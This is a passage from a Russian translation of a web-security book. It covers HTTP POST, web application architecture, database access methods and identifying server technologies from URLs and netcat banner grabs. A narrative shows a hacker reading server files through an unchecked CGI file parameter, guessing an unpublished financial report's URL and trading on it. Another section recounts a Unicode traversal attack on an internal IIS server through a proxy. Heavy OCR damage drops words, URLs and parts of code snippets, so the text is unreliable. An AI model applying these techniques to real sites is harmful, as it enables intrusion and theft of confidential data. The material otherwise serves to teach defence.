User Agent: [en] (Windows NT 5.0; Host: 192.168.7.102 Accept: */* gzip Accept Language: en Accept Charset: Content length: 123 1 Первое отличие обращения к ресурсу по методу POST (вместо мето да GET) заключается в первой строке HTTP заголовка. Второе состоит в том, что ис пользуется еще два дополнительных заголовка HTTP: • Content type; • Content length. В заголовке Content type указывается тип содержимого, передаваемого в запросе. Как правило, для форм HTML в заголовке Content type используется значение т.е. входные данные кодируются с использованием стандартного формата кодирования URL. В заголовке Content length содержится длина передавае мых данных в байтах. Метод POST позволяет передавать серверному приложению данные большого объе ма, следовательно, ограниченная по длине строка запроса URL в этом случае уже не используется. Строка Content length в заголовке HTTP является последней, после ко торой серверу передается пустая строка. Все, что передается за этой строкой, и пред ставляет собой входные данные, закодированные в формате URL. Как и в запросе GET, при использовании метода POST содержимое поля пароля и скрытого поля передается в виде незашифрованного текста. Разница заключается лишь в том, что эти данные не передаются как часть строки URL. Резюме Адрес --- это крошечная дверца для входа во внутренний механизм Web сервера, которая позволяет свести на нет усилия всех брандмауэров, систем выявле ния вторжений (IDS) и proxy серверов. Пользователи вынуждены пропускать через свои брандмауэры весь трафик, направленный к портам 80 (HTTP) и 443 (SSL). Воз можно, нельзя предусмотреть все комбинации недопустимых URL и изобрести сигна туру IDS или proxy фильтр, которые позволят защититься от атак через эти порты. По существу, все технологии борьбы с в Web, могут оказаться беспо лезными, когда дело касается Web атак. Чтобы помочь распознать изъяны, в данной главе обсуждалась структура URL, механизмы передачи параметров между Web броузером и сервером, система кодирования URL, потенциальные возможности ее некорректного использования и, наконец, формы HTML. 136 Часть I. Будни электронной коммерции
ЧАСТЬ II Секреты URL
Случай из жизни: исследование подступов к корпоративным сокровищам Однажды Джек задержался в офисе до поздней ночи. Он был экстраординарным разработчиком приложений для Web (а также знаменитым Web хакером), часто скучал и любил изучать рынок. Он относился к тем людям, которые всегда хотят обращать на себя внимание. В эту ночь Джек немного загрустил и решил порыскать в Internet. Недавно Джек приобрел несколько фильмов на интерактивном Web узле на котором был представлен каталог более чем из 10 000 наименований фильмов и музыки, записанных на видеокассетах, а также музыкальных компакт дисках и DVD. За день до этого Джек получил с упомянутого узла почтовое о появле нии нового Web узла, который был гораздо дружелюбнее своего предшественника. Но больше всего Джека заинтересовало сообщение торговой компании о том, что новый Web узел невозможно взломать. Как только Джек вспомнил об этом, его руки сами по тянулись к клавиатуре и пальцы забегали в неистовом танце. Джек решил найти опро вержение утверждению, которое содержалось в почтовом сообщении. Он начал с просмотра главной страницы компании У страницы был броский дизайн, и она была перегружена роликами Macromedia Flash. Кроме того, на узле использовалась одна из технологий серверной обработки данных, с которой Джек не был знаком. Он решил проанализировать URL и попы таться более точно определить используемую технологию. Для доступа к основной странице использовался следующий URL: Внимательно рассмотрев URL, Джек обратил внимание на ряд аспектов. • Как следует из имени файла разработчик Web приложения воспользо вался одной из технологий CGI, возможно, языком Perl. • Программист использовал динамический HTML (DHTML) с возможностями, предоставляемыми последней версией 4.0 языка HTML. Такой вывод следует из имени файла • Поскольку программе CGI (load.cgi) параметры передаются в строке запроса URL, то можно сделать вывод о что для передачи содержимого использу ются запросы GET. http: Если программист, написавший сценарий не позаботился о строгой про верке передаваемых значений полей, то кто нибудь обязательно сможет просмотреть содержимое любого файла в файловой системе Web сервера. Однако Джек этого не знал, пока не попробовал ввести следующий URL: cgi В результате обработки этого URL на экране появился исходный код основной load.cgi. Теперь Джек мог просмотреть любой файл файловой систе мы. Однако, прежде чем приступить к поиску потенциальных целей исследуемого Web узла, он решил обратиться к файлу r obots .txt. cgi?file=robots.txt 138 Часть II
В этом файле содержится перечень каталогов и которые не должны отсле живаться при перемещении по Web узлу. Этот файл позволяет снизить загруженность Web сервера за счет исключения определенных каталогов и файлов, задействованных при обработке запросов. Джек заметил каталог /Forecast, заслуживающий определенного интереса. Сначала он попытался получить содержимое этого каталога, но неудачно. Тогда Джек решил воспользоваться несколькими известными именами файлов, та кими, как и однако это тоже ни к чему не привело. Поэтому он решил получить образ всего Web узла и посмотреть, ссылаются ли на этот каталог ка кие либо файлы. Для этого прекрасно подошла утилита Pro. Просмотрев по лученные данные, Джек нашел последовательность файлов, которые по счастливой случайности назывались х представлял собой номер квартала (1, 2, 3 и 4), a две последние цифры года (99, 00, 01 и 02). http://www.example.com/Forecast/Example.com Forecast Q299.pdf pdf Зная, что 28 марта 2002 года --- это текущая дата и скоро заканчивается первый квартал, Джек попробовал воспользоваться следующим URL: http: pdf На экране появилось окно, в котором предлагалось сохранить файл Все произошло так быстро! Утилите Teleport Pro не удалось найти этот файл, однако Джек надеялся, что фи нансовый отдел разместит промежуточную версию отчета на Web узле, чтобы инве сторы могли с ним познакомиться. Именно так и случилось. Человеческая предска зуемость прекрасная вещь! Имея в своем распоряжении файл, Джек приступил к поиску в нем конфиденци альных данных. Оказалось, что подобной информации более чем достаточно. В част ности, доходы не соответствовали ожиданиям, которые были выражены в общем пла не развития. Джек быстро понял, что нужно продать свои акции до того, как финан совый отчет попадет кому то на глаза, и заработать $1000. Поэтому он зарегистри ровался на своем Web узле и разместил на нем предложение о продаже. После этого Джек долго размышлял о своем успехе. Возможно, благодаря проделанным операциям в будущем у него возникнет не так много URL 139
ГЛАВА 6 Закулисами Лучше зажечь свечу, чем бранить темноту. Китайская пословица
Введение В этой главе описывается важный элемент "цифрового поля боя" --- Web приложения. Подробно рассматриваются функциональные компоненты стандартных Web приложений и их взаимодействие друг с другом. Понимание составляющих обработки информации в Web позволит организовать защиту, достойную восхищения. В главе 5 были представлены основанные на анализе URL адресов способы, с по мощью которых можно выяснить, что происходит на Web сервере. Теперь рассмотрим новые возможности и опишем различные технологии, применяемые на Web серверах. В этой главе рассматриваются следующие вопросы: • создание среды работы Web приложений; • подключение компонентов; • технологии идентификации, основанные на URL; • анализ ошибок, выдаваемых Web приложениями и базами данных; • блокирование утечки информации. Первая половина этой главы знакомит читателя со способами совместного исполь зования различных технологий в рамках одного а в оставшейся час ти речь пойдет о том, какие знания и догадки применяет взломщик при атаке на ком поненты Web системы. Компоненты Web приложений Создание Web систем напоминает попытку связать воедино домашний развлека тельный комплекс --- возможности здесь не ограничены. Такая система включает свя занные между собой элементы, которые установлены с заданными параметрами. Не обходимо лишь поместить все это в изящный ящик из красного дерева, включить пи тание, сесть на диван и нажать нужные кнопки на пульте дистанционного управления. Однако настоящий любитель музыки никогда не успокоится, пока не подберет каждый элемент в отдельности, подключит их все вместе, выберет точные настройки и добьется максимального эффекта. Кто же в данном случае будет более прав: этот любитель музыки или тот, кто выбрал систему "все в одном"? На самом деле понятия "правильный выбор" не существует, поскольку выбор зависит прежде всего от потребностей человека и его желаний. Для достижения оптимального уровня воспроизведения необходимо тщательно подобрать и настроить каждый элемент. Аку стика, свет, окружающий шум, элегантность внешнего вида, возможность наилучшего воспроизведения записей для различных носителей --- все эти факторы необходимо учитывать при создании домашнего развлекательного комплекса. Если человеку про сто нужно слушать записи и его устраивает уровень воспроизведения немногим выше среднего, то ему подойдет система "все в одном". Преимущество состоит в том, что такая система продается как единое целое и отличается простотой эксплуатации. Все то же самое можно применить и к Web приложениям. Например, системы ти па (end to end system) содержат компоненты, которые находятся и взаимодействуют друг с другом в едином блоке. Но, если требуется приложение с бо лее высокой производительностью и пропускной способностью, наилучшим решени ем будет сочетание различных Web технологий. Обычно Web приложение содержит три основных компонента. • Внешний Web сервер (front end Web server). • Среда выполнения Web приложения (Web application execution environment). • Сервер баз данных (database server). Глава 6. За кулисами Web сервера 141
На рис. показана схема функционирования стандартного Web приложения. Не затрагивая пока работу Web броузера и брандмауэра, рассмотрим функцио нальные особенности каждого компонента Web приложения, помня о том, что они могут находиться как на одном и том же, так и на разных компьютерах. Web приложение Web приложение Web приложение Web приложение Брандмауэр Рис. 6.1. Схема функционирования стандартного Web приложения Внешний Web сервер Внешний Web сервер главным образом отвечает за прием HTTP запросов от кли ентов и отправку им HTTP ответов. Причем он должен обеспечить обслуживание большого числа параллельных запросов и в то же время эффективно использовать ре сурсы и поддерживать высокую пропускную способность. Такие серверы достаточно универсальны. Они способны выполнять обработку статических HTML файлов и не которых динамических сценариев, но никоим образом не могут использоваться для обслуживания Web приложений в целом. Внешний Web сервер должен обладать следующими функциональными возмож ностями. • Масштабируемость и устойчивость. Web сервер должен допускать расширение возможностей без дополнительных затрат на настройку аппаратных средств и операционной системы. При увеличении нагрузки на сервер потери в произво дительности должны быть минимальны. Сервер должен легко восстанавливать ся после сбоев, вызванных некорректной работой подкомпонентов или внеш них подключенных к нему компонентов. • к общеизвестным атакам. Поскольку внешние Web серверы яв ляются компонентами, которые будут подвергаться атакам в первую их 142 Часть II. Секреты URL
необходимо защищать от таких общеизвестных изъянов, как переполнение бу фера, вставка метасимволов и др. • Устойчивость к перегрузкам и возможность обработки большого числа параллель ных соединений. Обычно внешние Web серверы и обеспечивают обработку трафика большого объема, как в смысле количества обработанных запросов в единицу времени, так и в смысле количества одновременных парал лельных подключений. Поэтому необходимо тщательно настроить параметры используемой операционной системы для обеспечения максимальной произво дительности Web сервера. • Разнообразие конфигурационных установок. Это свойство позволяет настраивать различные программные компоненты Web сервера: диаграммы ресурсов, обра ботчики ошибок, интерфейсы внешних компонентов и др. • Возможность поддержки надстроек и функций API для подключения внешних ком понентов и модулей. Возможность поддержки программных интерфейсов при ложений и надстроек (plug in) является важным свойством, поскольку позволя ет увеличить производительность сервера путем подключения внешних моду лей. Это также обеспечивает неразрывную связь среды выполнения команд Web приложения с внешним Web сервером. Например, Web сервер Apache по зволяет интегрировать с основным Web сервером распределенные совместно используемые объекты DSO (Distributed Shared Object). Сервер Microsoft IIS со держит (интерфейс программирования приложений Internet сервера), который позволяет разработчику подключать дополнительные модули, а сервер Netscape, в свою очередь, --- На данный момент, согласно исследованию, проведенному компанией наиболее распространенными внешними Web серверами являются следующие: • Apache; • Microsoft IIS; • Netscape/iPlanet server; • Zeus Web server. ' Среда выполнения Web приложения Среда выполнения Web приложения --- это платформа для создания приложений, которые получают входные данные из HTML форм или URL адресов и динамически генерируют ответ в формате HTML. Обычно под средой выполнения Web приложений подразумевается сервер Web приложения. Среда выполнения Web приложения (или серверный компонент Web приложения) может просто представлять собой внешний Web сервер или отдельную прикладную систему. Поскольку современные операционные системы поставляются вместе со встро енными интерпретаторами или языками сценариев, Web серверы также содержат компоненты сценариев. Такие языки, как Perl, Active Server Pages (Visual Basic), PHP и т.п., обычно связаны с Web серверами Apache, IIS либо Netscape. При выборе разработки серверного компонента Web приложения не обходимо учитывать ряд факторов. • Удобство разработки. Выбор надлежащего языка программирования является наиболее важным в создании Web приложений. Многие языки сценариев, такие, как Perl, были вытеснены более специализированными языками создания Web приложений, такими, как РНР и ASP. В данный момент приобретают популяр Глава 6. За кулисами Web сервера ' 143
специализированные среды для разработки компонентов, в том числе J2EE и компании Microsoft. Во многих случаях Web приложения проектируются на основе существующих клиент серверных приложений. Вместо создания заново программы разработчик предпочитает подключить интерфейсные оболочки к уже написанному коду и в результате получает Web приложение. Наш выбор --- объектно ориентированные языки. • Интерфейсы внешнего Web сервера. Серверная часть Web приложения должна быть максимально совместима с внешним Web сервером и обеспечивать раз личные способы подключения к нему. Наиболее распространенные коммерче ские и некоммерческие компоненты поддерживают интеграцию с такими из вестными серверами, как Apache, Microsoft IIS и Netscape. • Интерфейсы баз данных. Серверные компоненты должны быть совместимы с такими известными серверами баз данных, как Oracle, DB2, SQL Server и MySQL. Подключение к базе данных может реализовываться с помощью биб лиотек языка программирования или отдельных компонентов. Сервер баз данных Этот сервер используется в Web приложениях для размещения баз и таб лиц, необходимых для разрабатываемого приложения. Он является, возможно, наи более важным компонентом для создания Web систем. Взаимодействие сервера баз данных с приложением происходит с помощью собственных API функций, драйве ров базы данных или компонентов посредников (компонентов среднего уровня), а обработка транзакций --- посредством SQL. Взаимодействие компонентов Существует несколько способов взаимодействия компонентов Web приложения друг с другом. На рис. 6.2 показаны четыре схемы взаимодействия серверного компо нента Web приложения с внешним сервером и сервером баз данных. Рассмотрим ка ждый из этих методов более подробно. Собственная среда обработки приложений Первый, и наиболее простой, способ состоит в написании приложения для среды обработки самого внешнего сервера. Такие Web серверы, как Microsoft IIS, содержат встроенные средства обработки, например страниц Active Server Pages, которые позво ляют разработчикам создавать Web системы, используя язык Visual Basic. Надстройки и API функции Web сервера Второй метод заключается в разработке приложений с использованием библиотек API функций Web сервера. В таком случае приложение является надстройкой над внешним сервером и может иметь свой адрес Серверы Apache, IIS и Netscape имеют библиотеки API функций, которые можно подключать к разрабатываемому при ложению. Так, большинство коммерческих серверных компонентов Web приложений функционируют как динамические совместно используемые объекты DSO (Dynamic Shared Object) Apache, расширения Microsoft или модули Netscape Эти компоненты обеспечивают более гибкую разработку приложений, нежели среда 144 ' Часть II. Секреты URL
внешнего Web сервера. Например, сервер Java приложений ServletExec, созданный ком панией NewAtlanta Inc., функционирует как объект Apache DSO или как расширение Microsoft ISAPI. Он позволяет подключать Java, компоненты EJB и страницы JSP к оболочке выполнения программ J2EE. Работая как надстройка к серверу Apache или IIS, ServletExec расширяет их возможности, позволяя разработчикам подключать Java приложения к обоим Web серверам. Причем сервер приложения запускается в той же системе, что и Web сервер, и находится под управлением его конфигурации. Внешний Web сервер Программный интерфейс приложения Собственное приложение Сервер приложения на внешнем сервере е / . TCP порт Сервер приложения на внешнем Рис. 6.2. Взаимодействие серверов Web приложения Отображение URL адресов и внутреннее перенаправление Третий способ взаимодействия сервера Web приложения с внешним Web сервером состоит в отображении URL адресов и внутреннем перенаправлении информации. Этот метод не требует библиотек API функций или надстроек. Наоборот, сервер Web приложения функционирует как независимый HTTP сервер, прослушивая TCP порт, не задействованный внешним Web сервером. При этом внешний Web сервер за счет специальной настройки отображает определенные URL адреса на сервер Web приложения, который работает с другим TCP портом. Это обеспечивает более общий уровень взаимодействия, но несколько снижает производительность системы, по Глава 6. За кулисами 145
скольку внешний Web сервер и сервер Web приложения, в отличие от процедур, ис пользующих API функции, работают в пространстве различных процессов и обмен данными происходит посредством протокола HTTP. Перенаправление к внутреннему серверу приложений Четвертый способ состоит в запуске сервера Web приложения на систе ме, которая доступна с внешнего сервера по IP адресу внутренней сети. Причем дос туп нельзя осуществить непосредственно из внешней сети, а только через внешний сервер. В этом случае для внутреннего сервера приложений он выступает proxy сервером, выполняющим преобразование URL. Предложенный метод является рас ширением предыдущего и позволяет серверам приложений, работающим с одним или несколькими внешними Web серверами, подгружать различные компоненты прило жения. Избыточность серверов (внешних и внутренних) позволяет повысить пропуск ную способность, масштабируемость и надежность. Приведенные далее примеры демонстрируют разницу между различными способа ми взаимодействия компонентов Web приложения. . Примеры Взаимодействие сценариев РНРЗ с сервером Apache В наши дни РНРЗ неразрывно связан с сервером Apache. Практически все Web серверы Apache поддерживают приложения, написанные на РНР. Этот язык является независимой платформой и предоставляет мощный инструментарий для создания Web приложений. В данном примере РНРЗ взаимодействует с Apache с помощью ди намических совместно используемых объектов Apache DSO (Dynamic Shared Object). Код скомпилирован и скомпонован как модуль Apache под именем so. Чтобы обеспечить возможность обработки файлов с расширением в файл конфигура ции Apache conf необходимо добавить следующие директивы: AddType application/x httpd php3 Модуль как объект Apache DSO Модуль ServletExec также может функционировать в качестве объекта DSO с Web сервером Apache. Но при этом ServletExec необходимо запустить как независимый сервер, который будет прослушивать TCP порты, не задействованные сервером Apache. Затем модуль mod so нужно поместить в папку libexec корневого каталога Apache и прописать соответствующий путь в файле конфигурации Для возможности обработки сервером ServletExec файлов с расширением не обходимо добавить следующие директивы: 146 Часть II. Секреты URL
/servlet> servlet exec ,jsp строки позволяют серверу автоматически обрабатывать формы с ад ресами и http://www.someserver.com/ jsp. Модуль ServletExec как для Microsoft IIS В операционной системе Microsoft Windows NT/2000 сервер Java приложений ServletExec можно настроить как независимый Web сервер или как ISAPI расширение. При этом ServletExec записывает в папку динамически подключаемую библиотеку ServletExec_Adapter.dll, которая доступна серверам при ложений в качестве ISAPI расширения. Сервер приложений ServletExec работает как служба Windows NT/2000. Как показано на рис. 6.3, файл ServletExec_Adapter.dll можно зарегистрировать во вкладке настройки для служб сервера Microsoft IIS. При такой настройке запрос, направленный серверу IIS и содержащий ссылку на Java или на файл с расширением будет обязательно перехвачен сервером ServletExec и обработан в его собственной среде выполнения. Такой способ конфигу рации и взаимодействия аналогичен тому, который использовался при взаимодейст вии ServletExec с Apache. Рис. 6.3. Установка ServletExec как ISAPI расширения Взаимодействие серверов IIS и Domino с сервером Netscape Enterprise Server Во время одной из атак мы случайно натолкнулись на приложение, изначально написанное и подключенное к серверу Lotus Domino, а затем интегрированное с дру гим приложением для IIS с помощью сценария ASP. Причем серверы IIS и Domino Глава 6. За кулисами 147
V находились на разных системах. Поскольку эти серверы не так то легко интегриро вать друг с другом, мы решили, что это можно осуществить лишь с помощью внеш него Web сервера, в качестве которого использовался Netscape Enterprise Server. При таком построении Netscape Enterprise Server перенаправляет определенные URL адреса серверам IIS и Domino, которые находятся во внутренней сети Web сервера. На рис. 6.4 показана схема размещения и взаимодействия этих Web систем. Сервер Netscape имеет внешний адрес и подключен к внутренней сети с адресом 10.6.6.0. Вторичный адрес 10.6.6.6. Серверы IIS и Domino подключены по адресам и 10.6.6.4 соответственно. На рис. 6.5 показаны настройки внеш него сервера Netscape. Рис. 6.4. под управлением серверов IIS и Domino По умолчанию URL адрес преобразуется в адрес URL адреса и publish преобразуются в и publish соответственно и обрабатываются сервером IIS. Остальные два адреса --- и --- трансформируются в http:// и и обрабатываются сервером Domino. Та ким образом, Web приложение в целом доступно через общий внешний Web сервер, а подкомпоненты обрабатываются внутренними серверами IIS и Domino. Так, на пример, запрос будет преобра зован в и отправлен как проме жуточный HTTP запрос по адресу 10.6.6.5. В свою очередь, URL адрес будет трансформирован в и передан как HTTP запрос по адресу 148 Часть II. Секреты URL
. . V. : 6.5. Настройка сервера Netscape Коварнейшая атака Весь доступ к Web приложению осуществлялся через сервер Netscape Enterprise. Однако, проанализировав различные виды URL адресов, мы легко выделили те части приложения, которые обрабатывались серверами IIS (очевидно из наличия ссылок на файлы с расширением и Domino (файлы с расширением Запрос по адресу позволил определить, что в качестве Web сервера использовался Netscape Enterprise. Но все это не имело никакого смысла до тех пор, пока мы не поняли, что Netscape Enterprise использовался как proxy сервер для перенаправления запросов внутренним серверам IIS и Domino. The specified CGI application misbehaved by not returning a complete set of headers. The headers it did are: and Users \ «/ HTTP USER [en] U) \ \ \ 2\ PATH .VBS; .VBE; 6.6. Unicode атака no адресу 10.6.6.5 через сервер Netscape Глава 6. За кулисами
Атака на внутренний сервер IIS была быстрой и точной. Один единственный URL запрос позволял удаленно выполнять команды на сервере IIS по адресу используя уязвимость кодировки Unicode сервера IIS. На рис. 6.6 показано окно броузера после выполнения этого запроса. Вам понятно, в чем состояла эта атака? Сервер Netscape был настроен преобразо вывать любые URL адреса, начинающиеся с /content/, в Таким образом, получив первоначальный запрос, он преобразовал его в Затем этот URL адрес передавался по внутренней сети как HTTP запрос к серверу IIS по адресу 10.6.6.5. Получив этот запрос, сервер IIS из за наличия символов между фрагментами /co ntent/ и /s c rip ts/ преобразовал его в обычную атаку, связанную с уязвимостью кодировки Unicode: В результате броузер отображал список команд, которые были запущены на серве ре Windows 2000 по адресу т.е. использование общего URL адреса спо собствовало взлому сервера приложения во внутренней сети, несмотря на то что он был защищен брандмауэром и внешним Web сервером. Доступ к базам данных Развитие приложений на платформе клиент/сервер способствовало повышению гибко сти и стандартизации доступа к базам данных. В 1970 х и начале 1980 х годов системы управления базами данных, или СУБД (database management system --- DBMS), представля ли собой огромные и монолитные "глыбы". Каждая такая система имела собственный язык программирования и формат файлов. Но с внедрением языка структурированных за просов SQL разработчики получили возможность стандартизовать процессы определения и обработки данных. Большинство администраторов баз данных одобрили SQL в качестве стандартного языка доступа к базам данных. Однако полная независимость приложения от базы данных стала возможна только с разработкой приложений на платформе кли ент/сервер. Теперь приложение и СУБД не обязательно должны находиться в одной и той же системе. Доступ к базе данных можно осуществить с использованием API функций языка программирования, на котором написано приложение. функции поддерживают связь с базой данных и аутентификацию, позволяют отправлять SQL запросы к базе дан ных, извлекать результаты запросов и отправлять их обратно приложению. В данный момент наиболее популярными способами доступа к базам данных яв ляются следующие: • использование собственных API функций базы данных; • стандарт ODBC; • стандарт JDBC. • . . Использование собственных API функций базы данных Языки программирования PHP, ASP и Perl содержат библиотеки API функций, которые обеспечивают доступ к таким наиболее известным серверам баз 150 Часть II. Секреты URL
данных, как Oracle, DB2, SQL Server, Sybase и MySQL. Все, что необходимо сделать раз работчику, --- вызвать нужные API функции для взаимодействия с базой данных. Рас смотрим несколько примеров, демонстрирующих использование API функций. Примеры Доступ к SQL Server с помощью ASP Приведенный фрагмент кода демонстрирует возможность выполнения запросов к серверу Microsoft SQL Server с помощью сценария ASP. Set db Data Initial User Id=dbuser; Set name, address from profiles") Этот код практически не требует пояснений. Сначала инициализируется объект соединения с базой данных db_connection, который впоследствии используется для ус тановления соединения с сервером SQL Server по адресу 192 . 168 . 7 . 2 46. Затем выпол няется SQL запрос и соединение разрывается. Таким образом, API функции поддер живают объекты соединения для обеспечения доступа к базам данных. Доступ к Oracle с помощью сценария РНР Следующий фрагмент кода, написанный на языке РНР, демонстрирует возмож ность использования интерфейса (Oracle Connection Interface) для доступа к сер веру баз данных Oracle. <?php into email_info values Этот способ в той или иной степени аналогичен предыдущему. Использование стандарта ODBC Применение API функций языка программирования для управления соединением с базой данных --- метод достаточно обременительный. Иногда приложение должно взаи модействовать с различными базами данных или его необходимо перенести на плат форму с другим языком программирования. В таких случаях использование API функций затруднительно и доставляет много проблем. Для устранения этого недостатка был разработан стандарт открытого соединения с базами данных ODBC (Open Database Глава 6. За кулисами 151
Connectivity), который обеспечивает универсальный метод доступа к базам данных. Те перь для установки связи с базой данных необходимо только подключить соответствую щий ODBC драйвер. При изменении базы данных нужно всего лишь подключить но вый ODBC драйвер. Какие либо изменения в программном коде не требуются. Стандарт ODBC поддерживается большинством современных операционных сис тем, в том числе и Microsoft Windows. Теперь компонент управления ODBC отвечает за хранение данных о соединении с базой данных и аутентификацию пользователей, что устраняет необходимость хранить данные о пользователе и соединении в коде приложения. Эта информация содержится в логическом имени источника дан ных DSN (data source name), к которому и обра щается приложение. На рис. 6.7 показано имя DSN sqlserverl, ко торое создано в результате подключения к серве ру баз данных SQL Server по адресу 192.168.7.246. Рис. Конфигурация DSN DIM» No No ИспользованиеJDBC Стандарт JDBC (Java Database Connectivity) определяет контур Java приложений, аналогичный ODBC. Единственное различие состоит в том, что интегрирован с контуром J2EE и используется исключительно для Web приложений, написанных на Java. Наиболее известные серверы Java приложений BEA IBM WebSphere, Allaire Tomcat и Resin используют JDBC для связи с базами данных. На рис. 6.8 показано окно настройки источника данных JDBC для доступа к базе данных MySQL с помощью сервера Java приложений Allaire JRun 3.0. Рис. 6.8. JDBC Специализированные серверы Web приложений До сих пор речь шла об универсальных моделях Web систем, используемых для разра ботки Web приложений любого типа. Но в последнее время были разработаны специали зированные серверы Web приложений, которые призваны решать специфические задачи. 152 Часть II. Секреты URL
Если Web приложения ранжировать по степени активности конечных пользовате лей, то узлы свежих новостей окажутся в конце списка, а электронные банковские системы --- в начале. Поэтому производители программного обеспечения разработали специализирован ные серверы приложений, которые должны удовлетворить многообразие потребно стей. Например, сервер от компании Vignette предназначен для управления содержимым и доставкой информации в Web, тогда как серверы и Net.Data от IBM полезны для интерактивных приложений, связанных с финансовыми транзакциями, в частности Рассмотрим, как можно извлечь информацию о Web приложении, анализируя URL адреса. Этим завершается рассмотрение вопросов, начатое в главе 5. Идентификация компонентов Web приложенияс помощью URL адресов Адреса URL отражают различные функциональные свойства Web приложений. Напомним, что URL адрес является первичным средством взаимодействия броузера и Web системы. Использование разных компонентов в Web приложениях требует нали чия характерных фрагментов в URL адресах. Некоторые люди настолько наблюда тельны, что в состоянии определить, из какой части света приехал человек, основыва ясь лишь на его внешности, языке, на котором он говорит, акценте и манерах пове дения. Скажем, отличить жителя Нью Йорка от коренного жителя Лондона достаточно просто. В то же время, чтобы отличить жителя Нью Йорка от жителя Нью Джерси, придется проявить гораздо больше наблюдательности. Анализ URL адресов Web приложений тоже требует определенных навыков и опыта. Чем больше систем вы анализируете, тем лучшие навыки приобретаете. Техно логия идентификации URL адресов --- это искусство, которое может стать ценным средством для Web хакеров. Основы идентификации Первый этап идентификации Web приложения состоит в анализе HTTP заголовка, возвращаемого Web сервером. В большинстве случаев по нему можно определить ис пользуемый внешний Web сервер. Для HTTP заголовка необходимо вос пользоваться специальной утилитой, например Netcat. Заголовок сервера Apache вы глядит примерно так: I www.example.com 80 GET / HTTP/1.1 200 OK Date: 04 Feb 2001 19:29:37 GMT Server: Apache/1.3.6 (Unix) Set Cookie: expires=Tue, 04 Feb 02 19:29:37 GMT Last Modified: Mon, 10 Dec 2001 04:48:34 GMT ETag: bytes Content Length: 495 Connection: close Content Type: text/html Глава 6. За кулисами Web сервера 153
Поле Server HTTP заголовка показывает, что используется сервер Apache 1.3.6, ко торый поддерживает протокол SSL, модуль mod_perl и язык программирования PHP 4.O. Но не все Web серверы так щедры на информацию об используемых техно логиях. Например, сервер Apache можно настроить таким образом, что в HTTP заголовке он будет выдавать только необходимый минимум информации. nc www.example.com 80 GET / HTTP/1.1 200 OK Date: Mon, 04 Feb 2001 19:29:37 GHT Server: (Unix) Connection: close Content Type: text/html В этом случае ничего нельзя сказать о языках сценариев, которые используются в приложении. Для более точной идентификации необходимо использовать более тон кие отличительные особенности. Поэтому следующим этапом усовершенствования знаний по методам идентифика ции является анализ различных элементов URL адресов. В главе 5 была описана структура URL адреса и роль каждого его элемента. Отправным пунктом в идентифи кации будет расширение запрашиваемого файла, по которому можно определить платформу сервера. В приведенной ниже таблице представлены применяемые в URL адресах расши рения файлов и соответствующие им платформы. Расширение Используемая технология Платформа сервера Perl CGI Любая, но обычно Unix Active Server Pages Сервер Microsoft IIS .aspx ASP+ Сервер Microsoft PHP Любая, но обычно Web сервер Apache .cf ColdFusion Любая, но обычно сервер Microsoft IIS Lotus Domino Сервер Lotus Domino Поскольку Web серверы допускают очень гибкую настройку конфигурационных параметров, то тип файла можно скрыть, не давая возможности узнать информацию об используемых технологиях. В этом случае для идентификации технологии потребуется настоящее искусство. Например, расширение файла . js p не несет никакой информации о внешнем Web сервере или Java приложении. Дело в том, что все известные серверы Java приложений соответствуют стандарту J2EE. Для более точного определения исполь зуемых технологий необходимо тщательно проанализировать URL адреса, HTTP заголовки, а иногда даже HTML код. Для лучшего понимания рассмотрим несколь ко примеров. Примеры URL адрес: ?0pen Расширение файла указывает на то, что используется сервер Lotus Domino. Заголовок HTTP подтверждает эту гипотезу. 154 II. Секреты URL
nc 80 GET / HTTP/1.0 HTTP/1.1 302 Found Server: Date: 04 Feb 2001 17:52:59 GMT Location: Connection: close Content Type: text/html 305 URL адрес: Заголовок HTTP запроса указывает на использование сервера Однако знаем, что сервер IIS 4.0 сам не поддерживает обработку файлов которые, вообще говоря, являются HTML страницами Java; т.е. совместно с севе ром IIS 4.0 функционирует сервер приложения. Строка ; указывает на использование сервера приложений ATG Dynamo Application Server, с помощью которого в данном случае обрабатываются HTML страницы Java и выполняются Java. Официальный Web узел компании ATG имеет схожий URL адрес: URL адрес: http://www3.example.com/cgi bin/ncommerce3/ExecMacro/ webstore/home.d2w/report Этот URL адрес типичен для платформы электронной коммерции Data от IBM. Строки и ExecMacro являются ключевыми для определения используе мых технологий. Строка указывает на использование макросов, написанных на языке сценариев сервера Net. Data, a report --- на один из способов реализации этих макросов. Базовый внешний Web сервер определяется из HTTP заголовка. URL адрес: 3886513130244820/167838525/6/7001/7001/7002/7002/7001/ 1 Этот пример особенный. Обрабатываемый файл имеет расширение . jsp, а базовый сервер Netscape Enterprise 4.1 можно определить из HTTP заголовка. Однако вид URL адреса не типичен для сервера Netscape Enterprise. Он больше похож на адрес, исполь зуемый сервером BEA идентификатор сеанса которого имеет следующий вид: Первая часть рассматриваемого идентификатора сеанса является буквенно цифровой строкой, за которой следует символ | и несколько чисел, разделенных сим волом /. Числа 7001 и 7002 соответствуют TCP портам HTTP и SSL, которые исполь зуются сервером WebLogic для внутреннего взаимодействия с внешним Web сервером. Если сервер WebLogic использует порты, отличные от 7001 и 7002, то они по разному отображаются в URL адресах, сгенерированных этим Web узлом. Глава 6. За кулисами 155
URL адрес: Этот URL адрес тоже особенный. Он заканчивается группой чисел, разделенных запятыми, а файл имеет расширение Эта HTML страница не является статиче ской, поскольку в процессе путешествия по Web узлу эти числа будут изменяться, а вид URL адреса останется неизменным. Это свидетельствует о том, что содержимое страниц формируется динамически, а изменяющиеся числа соответствуют различным коллекциям и категориям содержимого. Таким образом, представленный в примере URL адрес типичен для сервера Vignette Story Server, который обычно взаимодейству ет с такими внешними Web серверами, как Netscape Enterprise и IIS. Если просмотреть HTML код, формируемый сервером Vignette Story Sever, можно обнаружить HTML комментарий, по которому легко определить вид и версию ис пользуемого сервера: <! Vignette V/5 Sat feb 02 05:07:43 2001 > Официальный Web узел компании Vignette также использует сервер Vignette Story Server, а его URL адрес подобенуказанномув примере: http://www.vignette.com/CDA/ Дополнительные примеры Предыдущие примеры дают некоторое представление о методах определения Web сервера и используемых в приложении технологиях. Знакомясь с различными серве рами Web приложений, вы научитесь выделять URL адреса, формируемые этими сер верами. Однако в большинстве случаев методы идентификации не так просты, как в предыдущих примерах. Рассмотрим следующие URL адреса: • • sp • • Первый URL адрес кажется простым и указывает на использование сервера Apache и языка программирования Perl. Но в данном случае для точного определе ния признаков приложения наряду с анализом URL адресов необходимо использо вать и другие средства. Начнем с HTTP заголовков каждого из представ ленных запросов. URL адрес: • vww6.example.com 80 GET HTTP/1.0 . HTTP/1.1 200 OK Server: Date: 04 Feb 2001 